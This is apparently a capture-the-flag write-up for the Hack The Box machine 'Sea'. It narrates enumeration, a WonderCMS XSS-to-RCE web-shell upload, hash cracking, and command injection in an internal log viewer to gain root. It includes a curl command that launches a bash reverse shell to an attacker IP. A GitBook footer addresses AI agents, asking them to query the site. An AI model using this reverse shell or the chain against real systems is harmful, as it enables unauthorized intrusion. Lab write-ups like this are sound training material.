> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-sea.md).
# HTB - Sea
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
The site identifies itself as `Sea` and presents a simple public-facing blog. Review the page source and linked resources for hidden paths, version details, and application-specific clues.
To participate we need to send data through the contact form.
clicking on contact redirects to the domain sea.htb
add it to hosts file.
contact forms are mostly vulnerable to XSS.
i will try to fetch a file from my local machine to see if it is vulnerable to cross site scripting.
that said i write to get the cookie of the one reviewing my request form.
trying to steal the cookie does not result any request.
probably come back here again.
That said i will run ferox buster to enumerate hidden directories.
The themes/bike/version leaks a version - 3.2.0
summary talks about a animated bike theme.
a quick google search reveals that its related to WonderCMS
probably the version identified it related to the wonder cms
a quick google search reveals a cross site scripting vulnerability leading to RCE.
{% embed url="" %}
{% embed url="" %}
Found the above poc.
What we are doing here is triggering a authenticated user in uploading a archived php web shell and accessing it to RCE.
after 30 seconds got hit on the server
that said i can access the web shell to see if it worked.
and it worked that said i will get a reverse shell.
```bash
┌──(ajay㉿kali)-[~/Downloads]
└─$ curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.49/4444 0>&1'"
```
## Shell as WWW-DATA
```bash
www-data@sea:/var/www/sea/themes/malicious$ python3 -c 'import pty; pty.spawn("/bin/bash")'
`user.txt` is only readable by amay. there is an .ssh directory but we dont have permissions to view\.it
The is a password hash in the database file lets try to crack it.
before saving the hashes we need to remove backslashes.
That i can try this password against the two users on the box.
## Shell as Amay
The password worked against the user amay.
there are some internal services running.
port 8080 requires authentication that said i will port forward the port and access it from my machine.
trying amay creds gives access.
we can see the contents of the log files by analyse option
access log says username and password validated for root
that said i can use burpsuite to investigate further
changing the log file to display `/etc/passwd` displayed the output so the log file parameter is able to take what ever i provide.
command injection works by adding a comment character (#)
authorised keys are empty
that said i will try to get reverse shell
## Shell as Root
i will use a python reverse shell to get RCE.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-sea.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
